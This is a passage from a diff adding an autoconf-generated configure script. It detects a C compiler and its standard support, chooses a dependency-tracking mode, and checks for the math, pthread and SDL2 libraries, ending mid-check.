as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_CC="gcc" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 +printf "%s\n" "$ac_ct_CC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +else + CC="$ac_cv_prog_CC" +fi + +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}cc", so it can be a program name with args. +set dummy ${ac_tool_prefix}cc; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_CC+y} +then : + printf %s "(cached) " >&6 +else $as_nop + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_CC="${ac_tool_prefix}cc" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 +printf "%s\n" "$CC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + fi +fi +if test -z "$CC"; then + # Extract the first word of "cc", so it can be a program name with args. +set dummy cc; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_CC+y} +then : + printf %s "(cached) " >&6 +else $as_nop + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else + ac_prog_rejected=no +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + if test "$as_dir$ac_word$ac_exec_ext" = "/usr/ucb/cc"; then + ac_prog_rejected=yes + continue + fi + ac_cv_prog_CC="cc" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +if test $ac_prog_rejected = yes; then + # We found a bogon in the path, so make sure we never use it. + set dummy $ac_cv_prog_CC + shift + if test $# != 0; then + # We chose a different compiler from the bogus one. + # However, it has the same basename, so the bogon will be chosen + # first if we set CC to just the basename; use the full file name. + shift + ac_cv_prog_CC="$as_dir$ac_word${1+' '}$@" + fi +fi +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 +printf "%s\n" "$CC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + for ac_prog in cl.exe + do + # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args. +set dummy $ac_tool_prefix$ac_prog; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_CC+y} +then : + printf %s "(cached) " >&6 +else $as_nop + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_CC="$ac_tool_prefix$ac_prog" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 +printf "%s\n" "$CC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + test -n "$CC" && break + done +fi +if test -z "$CC"; then + ac_ct_CC=$CC + for ac_prog in cl.exe +do + # Extract the first word of "$ac_prog", so it can be a program name with args. +set dummy $ac_prog; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_CC+y} +then : + printf %s "(cached) " >&6 +else $as_nop + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_CC="$ac_prog" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 +printf "%s\n" "$ac_ct_CC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + + test -n "$ac_ct_CC" && break +done + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +fi + +fi +if test -z "$CC"; then + if test -n "$ac_tool_prefix"; then + # Extract the first word of "${ac_tool_prefix}clang", so it can be a program name with args. +set dummy ${ac_tool_prefix}clang; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_CC+y} +then : + printf %s "(cached) " >&6 +else $as_nop + if test -n "$CC"; then + ac_cv_prog_CC="$CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_CC="${ac_tool_prefix}clang" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +CC=$ac_cv_prog_CC +if test -n "$CC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 +printf "%s\n" "$CC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + +fi +if test -z "$ac_cv_prog_CC"; then + ac_ct_CC=$CC + # Extract the first word of "clang", so it can be a program name with args. +set dummy clang; ac_word=$2 +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 +printf %s "checking for $ac_word... " >&6; } +if test ${ac_cv_prog_ac_ct_CC+y} +then : + printf %s "(cached) " >&6 +else $as_nop + if test -n "$ac_ct_CC"; then + ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. +else +as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + case $as_dir in #((( + '') as_dir=./ ;; + */) ;; + *) as_dir=$as_dir/ ;; + esac + for ac_exec_ext in '' $ac_executable_extensions; do + if as_fn_executable_p "$as_dir$ac_word$ac_exec_ext"; then + ac_cv_prog_ac_ct_CC="clang" + printf "%s\n" "$as_me:${as_lineno-$LINENO}: found $as_dir$ac_word$ac_exec_ext" >&5 + break 2 + fi +done + done +IFS=$as_save_IFS + +fi +fi +ac_ct_CC=$ac_cv_prog_ac_ct_CC +if test -n "$ac_ct_CC"; then + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_ct_CC" >&5 +printf "%s\n" "$ac_ct_CC" >&6; } +else + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: no" >&5 +printf "%s\n" "no" >&6; } +fi + + if test "x$ac_ct_CC" = x; then + CC="" + else + case $cross_compiling:$ac_tool_warned in +yes:) +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5 +printf "%s\n" "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;} +ac_tool_warned=yes ;; +esac + CC=$ac_ct_CC + fi +else + CC="$ac_cv_prog_CC" +fi + +fi + + +test -z "$CC" && { { printf "%s\n" "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 +printf "%s\n" "$as_me: error: in \`$ac_pwd':" >&2;} +as_fn_error $? "no acceptable C compiler found in \$PATH +See \`config.log' for more details" "$LINENO" 5; } + +# Provide some information about the compiler. +printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for C compiler version" >&5 +set X $ac_compile +ac_compiler=$2 +for ac_option in --version -v -V -qversion -version; do + { { ac_try="$ac_compiler $ac_option >&5" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_compiler $ac_option >&5") 2>conftest.err + ac_status=$? + if test -s conftest.err; then + sed '10a\ +... rest of stderr output deleted ... + 10q' conftest.err >conftest.er1 + cat conftest.er1 >&5 + fi + rm -f conftest.er1 conftest.err + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } +done + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether the compiler supports GNU C" >&5 +printf %s "checking whether the compiler supports GNU C... " >&6; } +if test ${ac_cv_c_compiler_gnu+y} +then : + printf %s "(cached) " >&6 +else $as_nop + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ +#ifndef __GNUC__ + choke me +#endif + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + ac_compiler_gnu=yes +else $as_nop + ac_compiler_gnu=no +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext +ac_cv_c_compiler_gnu=$ac_compiler_gnu + +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_c_compiler_gnu" >&5 +printf "%s\n" "$ac_cv_c_compiler_gnu" >&6; } +ac_compiler_gnu=$ac_cv_c_compiler_gnu + +if test $ac_compiler_gnu = yes; then + GCC=yes +else + GCC= +fi +ac_test_CFLAGS=${CFLAGS+y} +ac_save_CFLAGS=$CFLAGS +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether $CC accepts -g" >&5 +printf %s "checking whether $CC accepts -g... " >&6; } +if test ${ac_cv_prog_cc_g+y} +then : + printf %s "(cached) " >&6 +else $as_nop + ac_save_c_werror_flag=$ac_c_werror_flag + ac_c_werror_flag=yes + ac_cv_prog_cc_g=no + CFLAGS="-g" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + ac_cv_prog_cc_g=yes +else $as_nop + CFLAGS="" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + +else $as_nop + ac_c_werror_flag=$ac_save_c_werror_flag + CFLAGS="-g" + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + ac_cv_prog_cc_g=yes +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext + ac_c_werror_flag=$ac_save_c_werror_flag +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_g" >&5 +printf "%s\n" "$ac_cv_prog_cc_g" >&6; } +if test $ac_test_CFLAGS; then + CFLAGS=$ac_save_CFLAGS +elif test $ac_cv_prog_cc_g = yes; then + if test "$GCC" = yes; then + CFLAGS="-g -O2" + else + CFLAGS="-g" + fi +else + if test "$GCC" = yes; then + CFLAGS="-O2" + else + CFLAGS= + fi +fi +ac_prog_cc_stdc=no +if test x$ac_prog_cc_stdc = xno +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $CC option to enable C11 features" >&5 +printf %s "checking for $CC option to enable C11 features... " >&6; } +if test ${ac_cv_prog_cc_c11+y} +then : + printf %s "(cached) " >&6 +else $as_nop + ac_cv_prog_cc_c11=no +ac_save_CC=$CC +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$ac_c_conftest_c11_program +_ACEOF +for ac_arg in '' -std=gnu11 +do + CC="$ac_save_CC $ac_arg" + if ac_fn_c_try_compile "$LINENO" +then : + ac_cv_prog_cc_c11=$ac_arg +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam + test "x$ac_cv_prog_cc_c11" != "xno" && break +done +rm -f conftest.$ac_ext +CC=$ac_save_CC +fi + +if test "x$ac_cv_prog_cc_c11" = xno +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 +printf "%s\n" "unsupported" >&6; } +else $as_nop + if test "x$ac_cv_prog_cc_c11" = x +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 +printf "%s\n" "none needed" >&6; } +else $as_nop + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c11" >&5 +printf "%s\n" "$ac_cv_prog_cc_c11" >&6; } + CC="$CC $ac_cv_prog_cc_c11" +fi + ac_cv_prog_cc_stdc=$ac_cv_prog_cc_c11 + ac_prog_cc_stdc=c11 +fi +fi +if test x$ac_prog_cc_stdc = xno +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $CC option to enable C99 features" >&5 +printf %s "checking for $CC option to enable C99 features... " >&6; } +if test ${ac_cv_prog_cc_c99+y} +then : + printf %s "(cached) " >&6 +else $as_nop + ac_cv_prog_cc_c99=no +ac_save_CC=$CC +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$ac_c_conftest_c99_program +_ACEOF +for ac_arg in '' -std=gnu99 -std=c99 -c99 -qlanglvl=extc1x -qlanglvl=extc99 -AC99 -D_STDC_C99= +do + CC="$ac_save_CC $ac_arg" + if ac_fn_c_try_compile "$LINENO" +then : + ac_cv_prog_cc_c99=$ac_arg +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam + test "x$ac_cv_prog_cc_c99" != "xno" && break +done +rm -f conftest.$ac_ext +CC=$ac_save_CC +fi + +if test "x$ac_cv_prog_cc_c99" = xno +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 +printf "%s\n" "unsupported" >&6; } +else $as_nop + if test "x$ac_cv_prog_cc_c99" = x +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 +printf "%s\n" "none needed" >&6; } +else $as_nop + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c99" >&5 +printf "%s\n" "$ac_cv_prog_cc_c99" >&6; } + CC="$CC $ac_cv_prog_cc_c99" +fi + ac_cv_prog_cc_stdc=$ac_cv_prog_cc_c99 + ac_prog_cc_stdc=c99 +fi +fi +if test x$ac_prog_cc_stdc = xno +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $CC option to enable C89 features" >&5 +printf %s "checking for $CC option to enable C89 features... " >&6; } +if test ${ac_cv_prog_cc_c89+y} +then : + printf %s "(cached) " >&6 +else $as_nop + ac_cv_prog_cc_c89=no +ac_save_CC=$CC +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$ac_c_conftest_c89_program +_ACEOF +for ac_arg in '' -qlanglvl=extc89 -qlanglvl=ansi -std -Ae "-Aa -D_HPUX_SOURCE" "-Xc -D__EXTENSIONS__" +do + CC="$ac_save_CC $ac_arg" + if ac_fn_c_try_compile "$LINENO" +then : + ac_cv_prog_cc_c89=$ac_arg +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam + test "x$ac_cv_prog_cc_c89" != "xno" && break +done +rm -f conftest.$ac_ext +CC=$ac_save_CC +fi + +if test "x$ac_cv_prog_cc_c89" = xno +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: unsupported" >&5 +printf "%s\n" "unsupported" >&6; } +else $as_nop + if test "x$ac_cv_prog_cc_c89" = x +then : + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: none needed" >&5 +printf "%s\n" "none needed" >&6; } +else $as_nop + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_cc_c89" >&5 +printf "%s\n" "$ac_cv_prog_cc_c89" >&6; } + CC="$CC $ac_cv_prog_cc_c89" +fi + ac_cv_prog_cc_stdc=$ac_cv_prog_cc_c89 + ac_prog_cc_stdc=c89 +fi +fi + +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + + ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking whether $CC understands -c and -o together" >&5 +printf %s "checking whether $CC understands -c and -o together... " >&6; } +if test ${am_cv_prog_cc_c_o+y} +then : + printf %s "(cached) " >&6 +else $as_nop + cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +int +main (void) +{ + + ; + return 0; +} +_ACEOF + # Make sure it works both with $CC and with simple cc. + # Following AC_PROG_CC_C_O, we do the test twice because some + # compilers refuse to overwrite an existing .o file with -o, + # though they will create one. + am_cv_prog_cc_c_o=yes + for am_i in 1 2; do + if { echo "$as_me:$LINENO: $CC -c conftest.$ac_ext -o conftest2.$ac_objext" >&5 + ($CC -c conftest.$ac_ext -o conftest2.$ac_objext) >&5 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } \ + && test -f conftest2.$ac_objext; then + : OK + else + am_cv_prog_cc_c_o=no + break + fi + done + rm -f core conftest* + unset am_i +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $am_cv_prog_cc_c_o" >&5 +printf "%s\n" "$am_cv_prog_cc_c_o" >&6; } +if test "$am_cv_prog_cc_c_o" != yes; then + # Losing compiler, so override with the script. + # FIXME: It is wrong to rewrite CC. + # But if we don't then we get into trouble of one sort or another. + # A longer-term fix would be to have automake use am__CC in this case, + # and then we could set am__CC="\$(top_srcdir)/compile \$(CC)" + CC="$am_aux_dir/compile $CC" +fi +ac_ext=c +ac_cpp='$CPP $CPPFLAGS' +ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' +ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' +ac_compiler_gnu=$ac_cv_c_compiler_gnu + + +depcc="$CC" am_compiler_list= + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking dependency style of $depcc" >&5 +printf %s "checking dependency style of $depcc... " >&6; } +if test ${am_cv_CC_dependencies_compiler_type+y} +then : + printf %s "(cached) " >&6 +else $as_nop + if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then + # We make a subdir and do the tests there. Otherwise we can end up + # making bogus files that we don't know about and never remove. For + # instance it was reported that on HP-UX the gcc test will end up + # making a dummy file named 'D' -- because '-MD' means "put the output + # in D". + rm -rf conftest.dir + mkdir conftest.dir + # Copy depcomp to subdir because otherwise we won't find it if we're + # using a relative directory. + cp "$am_depcomp" conftest.dir + cd conftest.dir + # We will build objects and dependencies in a subdirectory because + # it helps to detect inapplicable dependency modes. For instance + # both Tru64's cc and ICC support -MD to output dependencies as a + # side effect of compilation, but ICC will put the dependencies in + # the current directory while Tru64 will put them in the object + # directory. + mkdir sub + + am_cv_CC_dependencies_compiler_type=none + if test "$am_compiler_list" = ""; then + am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp` + fi + am__universal=false + case " $depcc " in #( + *\ -arch\ *\ -arch\ *) am__universal=true ;; + esac + + for depmode in $am_compiler_list; do + # Setup a source with many dependencies, because some compilers + # like to wrap large dependency lists on column 80 (with \), and + # we should not choose a depcomp mode which is confused by this. + # + # We need to recreate these files for each test, as the compiler may + # overwrite some of them when testing with obscure command lines. + # This happens at least with the AIX C compiler. + : > sub/conftest.c + for i in 1 2 3 4 5 6; do + echo '#include "conftst'$i'.h"' >> sub/conftest.c + # Using ": > sub/conftst$i.h" creates only sub/conftst1.h with + # Solaris 10 /bin/sh. + echo '/* dummy */' > sub/conftst$i.h + done + echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf + + # We check with '-c' and '-o' for the sake of the "dashmstdout" + # mode. It turns out that the SunPro C++ compiler does not properly + # handle '-M -o', and we need to detect this. Also, some Intel + # versions had trouble with output in subdirs. + am__obj=sub/conftest.${OBJEXT-o} + am__minus_obj="-o $am__obj" + case $depmode in + gcc) + # This depmode causes a compiler race in universal mode. + test "$am__universal" = false || continue + ;; + nosideeffect) + # After this tag, mechanisms are not by side-effect, so they'll + # only be used when explicitly requested. + if test "x$enable_dependency_tracking" = xyes; then + continue + else + break + fi + ;; + msvc7 | msvc7msys | msvisualcpp | msvcmsys) + # This compiler won't grok '-c -o', but also, the minuso test has + # not run yet. These depmodes are late enough in the game, and + # so weak that their functioning should not be impacted. + am__obj=conftest.${OBJEXT-o} + am__minus_obj= + ;; + none) break ;; + esac + if depmode=$depmode \ + source=sub/conftest.c object=$am__obj \ + depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \ + $SHELL ./depcomp $depcc -c $am__minus_obj sub/conftest.c \ + >/dev/null 2>conftest.err && + grep sub/conftst1.h sub/conftest.Po > /dev/null 2>&1 && + grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && + grep $am__obj sub/conftest.Po > /dev/null 2>&1 && + ${MAKE-make} -s -f confmf > /dev/null 2>&1; then + # icc doesn't choke on unknown options, it will just issue warnings + # or remarks (even with -Werror). So we grep stderr for any message + # that says an option was ignored or not supported. + # When given -MP, icc 7.0 and 7.1 complain thusly: + # icc: Command line warning: ignoring option '-M'; no argument required + # The diagnosis changed in icc 8.0: + # icc: Command line remark: option '-MP' not supported + if (grep 'ignoring option' conftest.err || + grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else + am_cv_CC_dependencies_compiler_type=$depmode + break + fi + fi + done + + cd .. + rm -rf conftest.dir +else + am_cv_CC_dependencies_compiler_type=none +fi + +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $am_cv_CC_dependencies_compiler_type" >&5 +printf "%s\n" "$am_cv_CC_dependencies_compiler_type" >&6; } +CCDEPMODE=depmode=$am_cv_CC_dependencies_compiler_type + + if + test "x$enable_dependency_tracking" != xno \ + && test "$am_cv_CC_dependencies_compiler_type" = gcc3; then + am__fastdepCC_TRUE= + am__fastdepCC_FALSE='#' +else + am__fastdepCC_TRUE='#' + am__fastdepCC_FALSE= +fi + + + +# Checks for libraries. + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for sqrt in -lm" >&5 +printf %s "checking for sqrt in -lm... " >&6; } +if test ${ac_cv_lib_m_sqrt+y} +then : + printf %s "(cached) " >&6 +else $as_nop + ac_check_lib_save_LIBS=$LIBS +LIBS="-lm $LIBS" +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +char sqrt (); +int +main (void) +{ +return sqrt (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + ac_cv_lib_m_sqrt=yes +else $as_nop + ac_cv_lib_m_sqrt=no +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_m_sqrt" >&5 +printf "%s\n" "$ac_cv_lib_m_sqrt" >&6; } +if test "x$ac_cv_lib_m_sqrt" = xyes +then : + printf "%s\n" "#define HAVE_LIBM 1" >>confdefs.h + + LIBS="-lm $LIBS" + +else $as_nop + as_fn_error $? "libm missing." "$LINENO" 5 +fi + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for pthread_create in -lpthread" >&5 +printf %s "checking for pthread_create in -lpthread... " >&6; } +if test ${ac_cv_lib_pthread_pthread_create+y} +then : + printf %s "(cached) " >&6 +else $as_nop + ac_check_lib_save_LIBS=$LIBS +LIBS="-lpthread $LIBS" +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +char pthread_create (); +int +main (void) +{ +return pthread_create (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + ac_cv_lib_pthread_pthread_create=yes +else $as_nop + ac_cv_lib_pthread_pthread_create=no +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_cv_lib_pthread_pthread_create" >&5 +printf "%s\n" "$ac_cv_lib_pthread_pthread_create" >&6; } +if test "x$ac_cv_lib_pthread_pthread_create" = xyes +then : + printf "%s\n" "#define HAVE_LIBPTHREAD 1" >>confdefs.h + + LIBS="-lpthread $LIBS" + +else $as_nop + as_fn_error $? "libpthread missing." "$LINENO" 5 +fi + +{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for SDL_Init in -lSDL2" >&5 +printf %s "checking for SDL_Init in -lSDL2... " >&6; } +if test ${ac_cv_lib_SDL2_SDL_Init+y} +then : + printf %s "(cached) " >&6 +else $as_nop + ac_check_lib_save_LIBS=$LIBS +LIBS="-lSDL2 $LIBS" +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +char SDL_Init (); +int +main (void) +{ +return SDL_Init (); + ; + return 0; +} +_ACEOF +if ac_fn_c_try_link "$LINENO" +then : + ac_cv_lib_SDL2_SDL_Init=yes +else $as_nop + ac_cv_lib_SDL2_SDL_Init=no +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam \ + conftest$ac_exeext conftest.$ac_ext 